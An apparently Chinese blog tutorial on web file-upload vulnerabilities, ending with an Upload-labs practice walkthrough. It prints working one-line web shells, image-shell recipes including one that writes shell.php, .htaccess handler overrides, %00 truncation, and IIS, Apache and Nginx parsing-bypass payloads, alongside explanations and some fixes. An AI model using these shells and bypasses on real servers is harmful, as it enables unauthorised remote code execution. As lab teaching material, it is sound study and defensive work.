文件上传漏洞

文件上传漏洞

一、概述

服务器没有对上传文件进行足够的过滤与配置,使得Web用户可以上传任意文件、恶意脚本文件、exe程序等。

二、大马与小马的概念

1、大马:php、asp、aspx等脚本语言所写,代码量很大,可以做的事情非常多。

2、小马:一句话木马,通常配合中国菜刀或蚁剑来使用。中国菜刀在连接一句话木马时需要填写密码(实际上就是变量名,下面的例子就是cmd)。

中国菜刀与一句话木马配合实现的三大功能:

1、文件管理;2、虚拟终端;3、数据库管理

1
2
3
4
5
6
7
8
ASP:
<%eval request('cmd')%>
ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
PHP:
<?php @eval($_REQUEST['cmd']);?>
#GET不行

三、Web文件上传漏洞利用的条件

1、Web服务器要开启文件上传功能,并且上传接口对外开放。

2、Web用户对于目标目录具有可写权限,甚至执行权限。(一般情况下Web目录都有执行权限)

3、Web容器可以解析脚本, 具备解析脚本的环境,这样就可以解析执行我们上传的文件。

4、服务器配置不当,开启了PUT方法,可直接上传。

四、文件上传漏洞的防御与利用

1、黑白名单策略(访问控制)

URLBlacklist、URLWhitelist,对用户允许和禁止访问的网页写入名单。

2、PUT方法上传文件(配置问题的典型,却很少见)

属于HTTP请求方法之一,如果服务器允许,直接通过HTTP请求数据包即可上传文件。

1)测试服务器是否允许PUT请求方法

1
2
3
4
5
#通过telnet测试服务器支持的HTTP请求方法:
----
OPTIONS / HTTP/1.1
HOST:192.168.2.144
----

2)服务器PUT请求方法的相关配置

Apache开启PUT文件上传的方法,httpd.conf配置文件:(配置后虽然OPTION不显示,但可以文件上传)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#导入模块,开启下面两条配置
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
#开启模块
DocumentRoot "E:\phpStudy\WWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
DAV On #此处加一行开启
</Directory>
#开启文件锁
DavLockDB C:\phpstudy\www\DavLock #把此行放在配置文件第一行
并且在C:\phpstudy\www\目录下的创建文件DavLock

3)PUT方式上传文件

1
2
3
4
5
PUT /info1.php HTTP/1.1
HOST: 192.168.43.196
Content-Length: 18

<?php phpinfo();?>

3、前端JS的限制与绕过

1)删除JS;2)先通过JS,后BP修改数据包

4、服务器端检测绕过

1)服务器端对文件类型的检查依赖于HTTP请求报文中的MIME类型

MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其它应用程序专用的数据。常见的MIME类型如下。在HTTP协议中,使用Content-Type字段表示文件MIME的类型。

1
2
3
4
5
6
7
Mime-Type:
.JS: application/x-javascript
.HTML: text/html
.php: text/php
.jpg: image/jpeg
.png: image/png
.pdf: application/pdf

因此,可通过修改请求报文中的Content-Type类型绕过检测。

2)服务器端检测文件内容:

PHP函数getimagesize()除了可以计算图片的大小,在计算之前还会对文件的类型是否是图片做判断,因此有些PHP后端常使用该函数进行文件检查。exif_imagetype()检查文件头几个字节来区分不同的图片格式。

对于检测内容的情况,可以制作图片木马,也就是图片格式的文件,里面输入了木马语句。

0x01制作图片马的方法:

1
2
3
4
5
6
7
8
9
#方法1、GIF图片的例子
GIF89a #gif文件欺骗,可通过getimagesize/exif_imagetype
<?php phpinfo();>
#方法2、DOS命令,合并木马和图片
copy 图片/b+木马.php/a 生成的图片名
#方法3、利用十六进制编辑器,写入后Notepad HEX转ASCII,然后写木马
.gif:47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
.jpg:FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
.png:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 / 文件头 89 50 4E 47 0D 0A 1A 0A + 数据块 + 数据块 + 数据块……

0x02绕过过滤php标签的情况:

1
<script language='php'>eval($_POST['zjc']);</script>
3)服务器端检查文件后缀名

服务器端在检测文件名时,一般会采用黑白名单策略,不允许上传php|asp|aspx|jsp…等可执行脚本文件;白名单只允许上传jpg|gif|png|doc|rar…等格式的文件。

① - 可以尝试不同的脚本别名,来尝试绕过黑名单限制。例如:

1
2
3
.php .php2 .php3 .php5 .phtml  | .pht .phps .php3p .php4 
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx
1
2
3
4
5
6
7
8
9
10
werner@Yasser:~$ cat /etc/mime.types | grep php
#application/x-httpd-php phtml pht php
#application/x-httpd-php-source phps
#application/x-httpd-phshp3 php3
#application/x-httpd-php3-preprocessed php3p
#application/x-httpd-php4 php4
#application/x-httpd-php5 php5
当web服务器收到静态的资源文件请求时,依据请求文件的后缀名在服务器的MIME配置文
件中找到对应的MIME Type,再根据MIME Type设置HTTP Response的Content-Type,然
后浏览器根据Content-Type的值处理文件。

② - 对于后缀的白名单策略,我们只能上传在白名单内的文件后缀名。

5、文件上传漏洞——00截断

CVE-2006-7243 php版本 < 5.3.4 此漏洞存在

当上传文件的数据包暴露上传文件的路径时,我们可以采用%00截断,将上传文件的路径文件夹名命名为一个php文件,之后采用在文件名后加一个%00截断后面的真实文件名字符串拼接。

1
2
3
例如:url中暴露了文件保存路径 /Pass-11/index.php?save_path=../upload/
服务器后台会对上传的文件进行随机命名,最后进行路径拼接存储文件,../upload/ + 712371751824.gif
为了使上传的图片文件可以作为php脚本执行,我们可以再文件保存路径处构造一个php文件名充当保存路径,然后加一个%00截断后面的真实文件名,此时,路径拼接就构造成了:../upload/test.php%00/712371751824.gif。由于PHP是由C语言开发的,字符串的结束标志和C语言一样都是ASCII码为0的空字符,因此字符串类型的文件存储路径遇到%00就会被截断,后面的路径字符串不会被处理,成功的将文件上传为了../upload/test.php

6、配置文件上传漏洞——.htaccess文件攻击

​ .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

①Apache配置文件设置:

1
2
1、<Directory "网页根目录">下的 AllowOverride All
2、 LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

②漏洞原理:.htaccess文件shh是Apache的分布式配置文件,它会重写文件所在路径以及该路径下的所有子文件夹的Apache全局配置。

③攻击案例:

​ 将.png文件当作PHP文件解析

1
2
AddType application/x-httpd-php .png
AddHandler php5-script .png

​ 将所有文件当作PHP文件解析

1
SetHandler application/x-httpd-php

​ 规定匹配文件名的文件当作PHP文件解析

1
2
3
<FilesMatch "zjcfilename">
SetHandler application/x-httpd-php
</FilesMatch>

实践,phpstudy,根据vhost配置文件的分析得出结果

1
2
AddHandler fcgid-script .png
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php5.2.17nts/php-cgi.exe" .png

④注意事项

​ Windows中创建.htaccess文件时,认为它是一个没有文件名的htaccess格式的文件,我们需要创建一个新文件,将其另存为*.*文件格式的文件,就不会报错。

LUA脚本上传

1
AddHandler lua-script .lua
1
木马详见2020杭州西湖论剑CTF,NewUpload

7、Web容器解析漏洞

文件解析漏洞:https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247484182&idx=1&sn=d82e5f9f02f5e292ac078ee86ce6dc22&chksm=eaad832bddda0a3dc3541b20c4ff2bd41b7fe40381d9c18bcd9d0d8b518bbcd54be91b7685dd&mpshare=1&scene=23&srcid=1027H6ZYWQNkL0IK8WEuXCE3&sharer_sharetime=1603766094726&sharer_shareid=5c34ea9eacb30dd992454894a04902a5#rd

Nginx服务漏洞详解:https://zhuanlan.zhihu.com/p/136801555

Apache中间件漏洞详解:https://zhuanlan.zhihu.com/p/125115734

①Apache解析漏洞(1.x 2.x漏洞)

​ 其实这属于Apache早期版本的特性,Apache识别文件类型是从右向左,直到识别写在mime.types配置文件中一个它认识的文件名后缀进行解析。因此,有些黑名单通过这个漏洞就可以绕过,payload:hack.php.xxx

②IIS解析漏洞
1 - 文件名解析漏洞(IIS5.x/6.0)

​ 在IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

​ payload:hack.asp;test.jpg

2 -目录解析漏洞(IIS5.x/6.0)

​ 在网站下建立文件夹的名字为*.asp *.asa *.cer *.cdx的文件夹,该文件夹下的任何文件都会被IIS当作asp文件来解释并执行。

​ Payload:hack.asp/test.jpg(文件后缀名为asp下的所有文件当作asp执行,此漏洞需要结合上传文件夹来利用)

3 - 畸形解析漏洞(IIS7.0)

​ 微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5

​ 在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>

将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

​ 临时解决办法:设置 cgi.fix_pathinfo为0

​ Payload:*(test.jpg/\.php)**

4 - 其它解析漏洞

​ 在windows环境下,xx.jpg[空格]xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

③Nginx解析漏洞

(1)0.8.37以下的版本,可以上传一个不被过滤后缀名的木马,如:shell.jpg,可以通过请求shell.jpg.php来进行正常解析

(2)空字节漏洞:(0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)

Payload:http://www.xx.com/hack.png%00.php,当nginx发现访问文件后缀名为.php时,会交给php-cgi进行解析,php-cgi读该文件名字符串发现%00时会停止读取(C语言字符串结束空字符%00),因此会将hack.png作为php文件执行

(3)文件名逻辑漏洞/CVE-2013-4547(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7):https://blog.csdn.net/Blood_Pupil/article/details/88565176 / 参考资料:https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247484182&idx=1&sn=d82e5f9f02f5e292ac078ee86ce6dc22&chksm=eaad832bddda0a3dc3541b20c4ff2bd41b7fe40381d9c18bcd9d0d8b518bbcd54be91b7685dd&mpshare=1&scene=23&srcid=1027H6ZYWQNkL0IK8WEuXCE3&sharer_sharetime=1603766094726&sharer_shareid=5c34ea9eacb30dd992454894a04902a5#rd

Payload:http://www.xx.com/hack.png%20%00.php,此漏洞是空字节漏洞后发现的漏洞,修复空字节漏洞后只通过%00截断路径,nginx会返回错误页面,这是逻辑漏洞逻辑之一。另外,nginx发现%20也就是空格时,会进入一个switch语句中的default,继续解析剩下的url,这是逻辑漏洞逻辑之二。因此,当%20和%00挨在一起时就会产生正常解析的逻辑漏洞,将此.png文件作为php文件解析。

④PHP CGI解析漏洞

漏洞主要配置原因是php.ini中的:cgi.fix_pathinfo=1 =0时无此漏洞

注意:高版本PHP已经不会出现该漏洞,因为/etc/php-fpm.d/www.conf 中的 security.limit_extensions规定了什么后缀的文件名才能被php解析执行。

​ 1 - IIS7.0 / 7.5 + PHP环境:hack.png/.php #上传hack.png访问时url加上/X.php就会当作php脚本运行将png中的php代码解析

  • 配置IIS支持PHP解析:IIS -> 处理程序映射 -> 添加模块映射 -> 请求路径 *.php; 模块:FastCgiModule; 可执行文件:PHP路径下的php-cgi.exe; 名称随便例如Fast-CGI-PHP
  • 把php配置文件联系到IIS中:FastCGI设置 -> 编辑 -> 监视对文件所做的更改 -> 选择PHP配置文件php.ini
  • 补丁方法:处理程序映射 -> 编辑对应的php映射 -> 请求限制 -> 映射中勾选仅当请求映射至一下内容时…. -> 确定

​ 2 - Nginx解析漏洞

​ 上传1.jpg,访问时url加上/X.php就会当作php脚本运行

1
http://www.xxx.com/1.jpg/1.php

对于低版本的php能够直接解析成功,高版本php因为引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件,这里来看看两个与Nginx解析漏洞相关的核心配置

核心配置:cgi.fix_pathinfo
​ 该选项位于配置文件php.ini中,默认值为1,表示开启。当php遇到文件路径/aaa.xxx/bbb.yyy/ccc.zzz时,若/aaa.xxx/bbb.yyy/ccc.zzz不存在,则会去掉最后的/ccc.zzz,然后判断/aaa.xxx/bbb.yyy是否存在,若存在,则把/aaa.xxx/bbb.yyy当做文件/aaa.xxx/bbb.yyy/ccc.zzz解析,若/aaa.xxx/bbb.yyy仍不存在,则继续去掉/bbb.yyy,以此类推。若是关闭该选项,访问 http://192.168.43.13/test/test.jpg/x.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般是开启的
核心配置:security.limit_extensions
​ 在我的配置文件中,它位于/etc/php-fpm.d/www.conf
这个选项开始是被注释了的也就是默认只允许执行php文件,将;去掉,可以在后面添加其它后缀,比如添加.jpg这样.jpg文件也能够以php来执行,修改了后需要service php-fpm restart重启php

8、一些在线编辑器的文件上传漏洞

①ewebeditor
②fckeditor

9、一些常见CMS的文件上传漏洞

CMS:快速建站的框架,一些常见的CMS就有文件上传漏洞。

10、::$DATA文件流绕过

在Windows系统的NTFS文件系统下,可使用::$DATA绕过黑名单限制。

11、后缀名+空格上传

有些情况,服务器没有对多余的空格进行处理,导致得到了后缀名为.php空格,可能会绕过某些黑名单的判断。而操作系统可能不会处理名字末尾带有的空格。

12、后缀名+点上传

Windows系统下,当文件后缀末尾有.的时候,Windows会自动的去除这些点,可绕过服务端的检测。

五、文件上传靶场——Upload-lab

PASS-01:文件检测依赖前端JS代码

方法1、前端上传图片时,触发了表单的检查输入文件名的事件,将JS删除即可上传文件,最后通过返回的图片,右键查看图片地址,即可了解上传的文件在服务器的位置。触发xm即可。

方法2、构造xm使其符合js的要求,过掉js后,通过BP代理改掉文件后缀filename。

PASS-02:文件检测依赖于MIME类型

可通过BP抓包,修改Content-Type类型,使其合法。

PASS-04:配置文件上传漏洞——.htaccess

PASS-11:00截断

PASS-14:文件检测依赖于getimagesize()函数

多种图片马方法绕过,

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器